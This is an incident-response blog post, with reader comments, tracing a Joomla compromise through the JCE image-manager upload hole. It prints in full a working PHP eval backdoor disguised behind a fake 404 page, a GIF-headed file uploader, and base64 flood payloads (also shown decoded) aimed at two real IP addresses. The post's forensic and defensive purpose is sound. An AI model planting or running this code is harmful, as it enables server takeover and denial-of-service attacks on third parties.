Seeing requests to //tmp/wegh.php
in Apache logs is probably not a good sign. Few days ago I wrote about how important paranoid firewall-output filtering is on a shared hosting server, today I’ll take a closer look on the next Joomla hack found active today. This time the “hacker” tried to attack the IP addresses 161.113.4.6 and 205.255.243.11 belonging to Beneficial Data Processing Corp and Regions Financial Corporation.
Detection
This one was detected just by watching server-status
of Apache. I noticed few requests for //tmp/wegh.php
, and this looks so obvious, please, and of course the content of the corresponding wegh.php
file was:
<?php @set_time_limit(0); @error_reporting(NULL); @ini_set('display_errors',0); @ignore_user_abort(TRUE); if(md5(md5($_REQUEST['psbt']))=='69a6ba5251f11030958c00e16d2c4602' and $_REQUEST['mjdu']!=NULL) { $_REQUEST['mjdu']=str_replace('\\"','"',$_REQUEST['mjdu']); $_REQUEST['mjdu']=str_replace("\\'","'",$_REQUEST['mjdu']); eval($_REQUEST['mjdu']); die(); exit(); } else { echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server </p><p>Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request</p></body ></html >';die();exit(); } ?>
I decided to checkout what the kids want, and I added the following after the line with eval
:
$logfile = 'log.txt'; $fh = fopen($logfile, 'a'); fwrite($fh, $_REQUEST['mjdu'] . "\n\n\n"); fclose($fh);
After a while, in logs.txt:
eval(base64_decode("DQokaWlpPScxNjEuMTEzLjQuNic7DQokcHBwPSc4MC01My00NDMnOw0KJGRkZD0nMjAwMCc7DQokc3N0dD0nNjAnOw0KJHJydHQ9JzIyJzsNCiRwcHNzPScxLTEwJzsNCg0KJGFyX3Bvcj1leHBsb2RlKCctJywkcHBwKTsNCiRhcl9wYWtzPWV4cGxvZGUoJy0nLCRwcHNzKTsNCg0KaWYoZmlsZV9leGlzdHMoInN0ZXh0LnR4dCIpKQ0Kew0KCSRmZnA9Zm9wZW4oInN0ZXh0LnR4dCIsInIiKTsNCgkkcnI9ZnJlYWQoJGZmcCw4KTsNCglmY2xvc2UoJGZmcCk7DQoJaWYoJHJyPT0iTm9UdEV4VHJVbiIpDQoJew0KCQkkZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTsNCgkJZmNsb3NlKCRmZnAyKTsNCgkJdW5saW5rKCJzdGV4dC50eHQiKTsNCgkJZXhpdCgpOw0KCQlkaWUoKTsNCgl9DQoJdW5saW5rKCJzdGV4dC50eHQiKTsNCn0NCg0KJHN0ZXBfdGltZT10aW1lKCkrJHNzdHQ7DQokcmVsZWFzZV90aW1lPXRpbWUoKSskcnJ0dDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWyd0aW1lX2UnXSkpDQp7DQoJJG1heF90aW1lID0gJF9SRVFVRVNUWyd0aW1lX2UnXTsNCn0NCmVsc2UNCnsNCgkkdGltZSA9IHRpbWUoKTsNCgkkbWF4X3RpbWUgPSAkdGltZSskZGRkOw0KfQ0KCSRvdXQ9c3RyX3JlcGVhdChjaHIocmFuZCgwLDI1NSkpLCByYW5kKCRhcl9wYWtzWzBdLCRhcl9wYWtzWzFdKSk7DQokZmlyc3QxPTA7DQp3aGlsZSh0aW1lKCkgPCAkbWF4X3RpbWUpDQp7CQ0KCWlmKHRpbWUoKSA+ICRyZWxlYXNlX3RpbWUgJiYgJGZpcnN0MT09MCkNCgl7DQoJCSRmaXJzdDE9MTsNCgkJJGFkZHJlc3NfaG9zdD0iaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCgkJJGRhdGExWydtamR1J109JF9SRVFVRVNUWydtamR1J107DQoJCSRkYXRhMVsncHNidCddPSRfUkVRVUVTVFsncHNidCddOw0KCQkkZGF0YTFbJ3RpbWVfZSddPSRtYXhfdGltZTsNCgkJJGNoMSA9QGN1cmxfaW5pdCgpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRhZGRyZXNzX2hvc3QpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsRkFMU0UpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMik7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9IRUFERVIsMSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwwKTsNCgkJY3VybF9zZXRvcHQoJGNoMSxDVVJMT1BUX1RJTUVPVVQsMTApOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YTEpOw0KCQljdXJsX2V4ZWMoJGNoMSk7DQoJCWN1cmxfY2xvc2UoJGNoMSk7DQoJfQ0KCWlmKHRpbWUoKSA+ICRzdGVwX3RpbWUpDQoJew0KCQlAZXhpdCgpOw0KCQlAZGllKCk7DQoJfQ0KCWZvcmVhY2goJGFyX3BvciBhcyAkcG9yKQ0KCXsNCgkJJHNvY2tldCA9IEBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8vJGlpaTokcG9yIiwkZXJyLCRlcnIyLDEsU1RSRUFNX0NMSUVOVF9BU1lOQ19DT05ORUNUKTsNCgkJaWYgKCRzb2NrZXQpIA0KCQl7DQoJCQlAc3RyZWFtX3NldF93cml0ZV9idWZmZXIoJHNvY2tldCwgMCk7DQoJCQlAc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2tldCwkb3V0KTsNCgkJfQ0KCQlAZmNsb3NlKCRzb2NrZXQpOzsNCgl9DQoJDQp9DQokZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTtmY2xvc2UoJGZmcDIpO3VubGluaygic3RleHQudHh0Iik7")); eval(base64_decode("DQokaWlpPScyMDUuMjU1LjI0My4xMSc7DQokcHBwPSc4MC01My00NDMnOw0KJGRkZD0nMTIwMCc7DQokc3N0dD0nNjAnOw0KJHJydHQ9JzIyJzsNCiRwcHNzPScxLTEwJzsNCg0KJGFyX3Bvcj1leHBsb2RlKCctJywkcHBwKTsNCiRhcl9wYWtzPWV4cGxvZGUoJy0nLCRwcHNzKTsNCg0KaWYoZmlsZV9leGlzdHMoInN0ZXh0LnR4dCIpKQ0Kew0KCSRmZnA9Zm9wZW4oInN0ZXh0LnR4dCIsInIiKTsNCgkkcnI9ZnJlYWQoJGZmcCw4KTsNCglmY2xvc2UoJGZmcCk7DQoJaWYoJHJyPT0iTm9UdEV4VHJVbiIpDQoJew0KCQkkZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTsNCgkJZmNsb3NlKCRmZnAyKTsNCgkJdW5saW5rKCJzdGV4dC50eHQiKTsNCgkJZXhpdCgpOw0KCQlkaWUoKTsNCgl9DQoJdW5saW5rKCJzdGV4dC50eHQiKTsNCn0NCg0KJHN0ZXBfdGltZT10aW1lKCkrJHNzdHQ7DQokcmVsZWFzZV90aW1lPXRpbWUoKSskcnJ0dDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWyd0aW1lX2UnXSkpDQp7DQoJJG1heF90aW1lID0gJF9SRVFVRVNUWyd0aW1lX2UnXTsNCn0NCmVsc2UNCnsNCgkkdGltZSA9IHRpbWUoKTsNCgkkbWF4X3RpbWUgPSAkdGltZSskZGRkOw0KfQ0KCSRvdXQ9c3RyX3JlcGVhdChjaHIocmFuZCgwLDI1NSkpLCByYW5kKCRhcl9wYWtzWzBdLCRhcl9wYWtzWzFdKSk7DQokZmlyc3QxPTA7DQp3aGlsZSh0aW1lKCkgPCAkbWF4X3RpbWUpDQp7CQ0KCWlmKHRpbWUoKSA+ICRyZWxlYXNlX3RpbWUgJiYgJGZpcnN0MT09MCkNCgl7DQoJCSRmaXJzdDE9MTsNCgkJJGFkZHJlc3NfaG9zdD0iaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCgkJJGRhdGExWydtamR1J109JF9SRVFVRVNUWydtamR1J107DQoJCSRkYXRhMVsncHNidCddPSRfUkVRVUVTVFsncHNidCddOw0KCQkkZGF0YTFbJ3RpbWVfZSddPSRtYXhfdGltZTsNCgkJJGNoMSA9QGN1cmxfaW5pdCgpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRhZGRyZXNzX2hvc3QpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsRkFMU0UpOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMik7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9IRUFERVIsMSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwwKTsNCgkJY3VybF9zZXRvcHQoJGNoMSxDVVJMT1BUX1RJTUVPVVQsMTApOw0KCQljdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCWN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YTEpOw0KCQljdXJsX2V4ZWMoJGNoMSk7DQoJCWN1cmxfY2xvc2UoJGNoMSk7DQoJfQ0KCWlmKHRpbWUoKSA+ICRzdGVwX3RpbWUpDQoJew0KCQlAZXhpdCgpOw0KCQlAZGllKCk7DQoJfQ0KCWZvcmVhY2goJGFyX3BvciBhcyAkcG9yKQ0KCXsNCgkJJHNvY2tldCA9IEBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8vJGlpaTokcG9yIiwkZXJyLCRlcnIyLDEsU1RSRUFNX0NMSUVOVF9BU1lOQ19DT05ORUNUKTsNCgkJaWYgKCRzb2NrZXQpIA0KCQl7DQoJCQlAc3RyZWFtX3NldF93cml0ZV9idWZmZXIoJHNvY2tldCwgMCk7DQoJCQlAc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2tldCwkb3V0KTsNCgkJfQ0KCQlAZmNsb3NlKCRzb2NrZXQpOzsNCgl9DQoJDQp9DQokZmZwMj1mb3Blbigic3RleHQudHh0IiwidysiKTtmY2xvc2UoJGZmcDIpO3VubGluaygic3RleHQudHh0Iik7"));
and after decoding:
$iii='161.113.4.6'; $ppp='80-53-443'; $ddd='2000'; $sstt='60'; $rrtt='22'; $ppss='1-10'; $ar_por=explode('-',$ppp); $ar_paks=explode('-',$ppss); if(file_exists("stext.txt")) { $ffp=fopen("stext.txt","r"); $rr=fread($ffp,8); fclose($ffp); if($rr=="NoTtExTrUn") { $ffp2=fopen("stext.txt","w+"); fclose($ffp2); unlink("stext.txt"); exit(); die(); } unlink("stext.txt"); } $step_time=time()+$sstt; $release_time=time()+$rrtt; if(isset($_REQUEST['time_e'])) { $max_time = $_REQUEST['time_e']; } else { $time = time(); $max_time = $time+$ddd; } $out=str_repeat(chr(rand(0,255)), rand($ar_paks[0],$ar_paks[1])); $first1=0; while(time() < $max_time) { if(time() > $release_time && $first1==0) { $first1=1; $address_host="http://".$_SERVER['HTTP_HOST']."/".$_SERVER['PHP_SELF']; $data1['mjdu']=$_REQUEST['mjdu']; $data1['psbt']=$_REQUEST['psbt']; $data1['time_e']=$max_time; $ch1 =@curl_init(); curl_setopt($ch1,CURLOPT_URL,$address_host); curl_setopt($ch1,CURLOPT_SSL_VERIFYPEER,FALSE); curl_setopt($ch1,CURLOPT_SSL_VERIFYHOST,2); curl_setopt($ch1,CURLOPT_HEADER,1); curl_setopt($ch1,CURLOPT_RETURNTRANSFER,0); curl_setopt($ch1,CURLOPT_TIMEOUT,10); curl_setopt($ch1,CURLOPT_POST, true); curl_setopt($ch1,CURLOPT_POSTFIELDS, $data1); curl_exec($ch1); curl_close($ch1); } if(time() > $step_time) { @exit(); @die(); } foreach($ar_por as $por) { $socket = @stream_socket_client("tcp://$iii:$por",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT); if ($socket) { @stream_set_write_buffer($socket, 0); @stream_socket_sendto($socket,$out); } @fclose($socket);; } } $ffp2=fopen("stext.txt","w+");fclose($ffp2);unlink("stext.txt");
and the other one:
$iii='205.255.243.11'; $ppp='80-53-443'; $ddd='1200'; $sstt='60'; $rrtt='22'; $ppss='1-10'; $ar_por=explode('-',$ppp); $ar_paks=explode('-',$ppss); if(file_exists("stext.txt")) { $ffp=fopen("stext.txt","r"); $rr=fread($ffp,8); fclose($ffp); if($rr=="NoTtExTrUn") { $ffp2=fopen("stext.txt","w+"); fclose($ffp2); unlink("stext.txt"); exit(); die(); } unlink("stext.txt"); } $step_time=time()+$sstt; $release_time=time()+$rrtt; if(isset($_REQUEST['time_e'])) { $max_time = $_REQUEST['time_e']; } else { $time = time(); $max_time = $time+$ddd; } $out=str_repeat(chr(rand(0,255)), rand($ar_paks[0],$ar_paks[1])); $first1=0; while(time() < $max_time) { if(time() > $release_time && $first1==0) { $first1=1; $address_host="http://".$_SERVER['HTTP_HOST']."/".$_SERVER['PHP_SELF']; $data1['mjdu']=$_REQUEST['mjdu']; $data1['psbt']=$_REQUEST['psbt']; $data1['time_e']=$max_time; $ch1 =@curl_init(); curl_setopt($ch1,CURLOPT_URL,$address_host); curl_setopt($ch1,CURLOPT_SSL_VERIFYPEER,FALSE); curl_setopt($ch1,CURLOPT_SSL_VERIFYHOST,2); curl_setopt($ch1,CURLOPT_HEADER,1); curl_setopt($ch1,CURLOPT_RETURNTRANSFER,0); curl_setopt($ch1,CURLOPT_TIMEOUT,10); curl_setopt($ch1,CURLOPT_POST, true); curl_setopt($ch1,CURLOPT_POSTFIELDS, $data1); curl_exec($ch1); curl_close($ch1); } if(time() > $step_time) { @exit(); @die(); } foreach($ar_por as $por) { $socket = @stream_socket_client("tcp://$iii:$por",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT); if ($socket) { @stream_set_write_buffer($socket, 0); @stream_socket_sendto($socket,$out); } @fclose($socket);; } } $ffp2=fopen("stext.txt","w+");fclose($ffp2);unlink("stext.txt");
Stop the attack
A quick way is to disable access to *.php using a .htaccess
file, containing:
<Files *.php> Deny from all </Files>
Investigate
It’s good to know what gave the attacker the possibility to upload malicious code to a poorly administered and outdated Joomla website. The answer is obvious, but… First we check Apache logs for requests for wegh.php
:
81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)" 81.30.156.44 - - [27/Mar/2013:13:13:33 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 262 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" 200.98.246.211 - - [27/Mar/2013:15:07:24 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" X.X.X.X - - [27/Mar/2013:15:07:30 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:07:36 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:07:43 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:07:49 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:07:55 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:01 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:07 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:13 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:19 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:25 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-" X.X.X.X - - [27/Mar/2013:15:08:31 +0100] "POST //tmp/wegh.php HTTP/1.1" 200 201 "-" "-"
X.X.X.X
is the IP address assigned to the vhost
containing /tmp/wegh.php
, and because wegh.php
is constructed this way that it requests itself in a loop, the logged originating IP will be the vhost
‘s IP – not the attackers IP. But what is more interesting now are lines 1-3 of logs shown above, they give us the IP addresses which made the first requests to wegh.php
, and what we really need to know is how wegh.php was uploaded
, that’s why we take a closer look at IP addresses 81.30.156.44
and 200.98.246.211
:
Only two requests from 81.30.156.44
:
81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)" 81.30.156.44 - - [27/Mar/2013:13:13:33 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 262 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"
and multiple requests from 200.98.246.211
:
200.98.246.211 - - [27/Mar/2013:15:07:24 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:15:14:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 186 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:15:17:11 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:15:27:25 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:15:38:50 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:15:56:26 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:16:39:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:17:06:19 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:17:28:28 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:18:24:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:18:36:52 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:18:53:55 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:19:28:41 +0100] "POST /tmp/wegh.php HTTP/1.1" 500 213 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:20:03:17 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:20:15:42 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:20:42:18 +0100] "POST /tmp/wegh.php HTTP/1.1" 500 213 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:21:09:19 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)" 200.98.246.211 - - [27/Mar/2013:21:20:23 +0100] "POST /tmp/wegh.php HTTP/1.1" 200 201 "-" "Mozilla/4.0 (compatible;)"
Entries for 200.98.246.211
are rather uninteresting, but entries for 81.30.156.44
contain a hint:
81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"
So probably, wegh.php
was uploaded using php.class.php
. Let’s make sure and check the content of php.class.php
:
GIF89aP <?php print("Direct Access Not Allowed"); if( $_GET['token'] == "up" ) { echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>O.K</b><br><br>'; } else { echo '<b>K.O</b><br><br>'; } } } ?>
Yes. Now, we need to know, how php.class.php
was uploaded to /tmp
. I check the first requests for php.class.php
:
204.93.60.138 - - [27/Mar/2013:07:13:32 +0100] "GET /tmp/php.class.php HTTP/1.1" 200 204 "-" "libwww-perl/6.02" 81.30.156.44 - - [27/Mar/2013:12:44:42 +0100] "POST /tmp/php.class.php?token=up&wegh.php&6rs68r75qr73n5o0pn8530o03&2ec8605a806d6c08704433f18c655b80 HTTP/1.1" 200 425 "-" "Mozilla/4.0 (compatible;)"
and now check, what other things were accessed by 204.93.60.138
:
204.93.60.138 - - [27/Mar/2013:07:13:27 +0100] "GET /components/com_jce/css/popup.css HTTP/1.1" 200 659 "-" "libwww-perl/6.02" 204.93.60.138 - - [27/Mar/2013:07:13:27 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02" 204.93.60.138 - - [27/Mar/2013:07:13:30 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02" 204.93.60.138 - - [27/Mar/2013:07:13:30 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 399 "-" "libwww-perl/6.02" 204.93.60.138 - - [27/Mar/2013:07:13:31 +0100] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1" 200 557 "-" "libwww-perl/6.02" 204.93.60.138 - - [27/Mar/2013:07:13:32 +0100] "GET /tmp/php.class.php HTTP/1.1" 200 204 "-" "libwww-perl/6.02"
and there is the answer. Probably an outdated Joomla + outdated JCE. Just Google for ‘joomla imgmanager exploit’ or ‘joomla jce exploit’ or see link below for more information. The attacker probably used the AmnPardaz Security Research Team – Joomla JCE 2.0.10 Shell Upload exploit.
Prevention
- Never use outdated software, keep Joomla up to date. Security is a process!
- Protect directories used for storing uploaded files (i.e.
/tmp
). - Hire a responsible webmaster.
Related entries
External links
- Update from the brobot (ddos against financial institution, like bank of america)
- JCE and your site’s security
- AmnPardaz Security Research Team – Joomla JCE 2.0.10 Shell Upload
- Why Should I Upgrade Joomla 1.5 to 2.5?
- Why You Should Upgrade An Outdated Joomla! Website
- 10 Tips to Prevent Your Joomla Website from Being Hacked
- Is Joomla! Not Secure?
- How Secure is Your Joomla! Website?
- Joomla! security Checklist
Good forensic, just found similar filer at a unatended joomla at my server. So what do you think is the purpose of wegh.php file, to call itself in a loop to make a DoS attack?
Thank You Mary,
wegh.php
is used to receive commands from the attacker and execute the malicious code that arrives in$_REQUEST['mjdu']
. If You have an ongoing attack, just modify my example, I did:but I see now, I’m missing the content of
$_REQUEST['psbt']
, so You could do this instead:and share the content
$_REQUEST['psbt']
with me.So the complete
wegh.php
should look like this:And wait for new entries in log.txt (make it writable).
wegh.php
receives$_REQUEST['mjdu']
and$_REQUEST['psbt']
, we already know what is inmjdu
, maybe it’s good to know what’s inpsbt
, who knows ;) IMHO there will be some kind ofpassword
, so the attacker can be “sure”, his botnet will respond only when a properpsbt
value was given.Now it looks for me this way:
php.class.php
is uploaded to/tmp
via outdated Joomla pluginwegh.php
is uploaded viaphp.class.php
wegh.php
containing$_REQUEST['mjdu']
(the malicious code) and$_REQUEST['psbt']
(content currently unknown)wegh.php
executes (eval) the content of$_REQUEST['mjdu']
$_REQUEST['mjdu']
will call istelf (viawegh.php
) in a loop and send random junk, in a loop, to the IP address specified in$iii
, and ports defined in$ppp
. The most important parts of$_REQUEST['mjdu']
:I hope Markdown is working on my comments to, if not, I’ll correct this in a few days ;-)
And to finally answer Your question, yes – in this case
wegh.php
it was used to DoS 161.113.4.6 and 205.255.243.11, but it could be used to do “anything” because of this line:wegh.php
is just an utility for the attacker and the actual “damage” is done by the code received via POST in$_REQUEST['mjdu']
.Hi Thomas, thanks for the quick answer,
I’m noticing very high traffic and CPU load (due to apache2) for few days, yesterday also, and I found the code of the wegh.php into the /tmp of the hacked joomla.
Logs on apache points to day 10th april, very recent, when they uploaded php.class.php. My first reaction after reading your post was to close the doamin with a apache auth, because the high traffic and CPU are affecting other domains and users of the server, however, I find interesting to make the forensic job and find out more info if possible, so I removed the eval() call and added the fwrite function to try to log anything before they notice it does not work.
I’ll let you know how it goes. JCE patched now to avoid reupload of files.
Update: The night I wrote this, I closed the website with an Apache Basic Auth Login. The next morning I prepared the modified wegh.php and removed the Apache Auth. The next night I checked if there was a log.txt file, but there wasn’t. I checked Apache logs and there was a call to the wegh.php file, but it was done over the previous night I had the site closed, so there was a 401 error, and the attacker has not tried to access the script any more since then.
UMMMM, I wish I had done it quicker just after reading your post. Shit!!!
Don’t be sad, there will be other incidents 8-)
Yeah, I had this, too, but the script uploaded had another name. Anyway, I wish that I have found this site earlier…just to dig more and see what exactly the attacker does. I could try and unsecure the joomla installation, just to make a honeypot :)
Thanks for the article and nice digging.
Thank You :-) If it’s not a big problem, please let me know how the file was named in Your case, I’ll add it to this post tags, because I’ve seen threads, where people suggest reinstalling the whole system ;-)
Thank you for this article. I got the same from south asian ip addresses at fixed times every hour.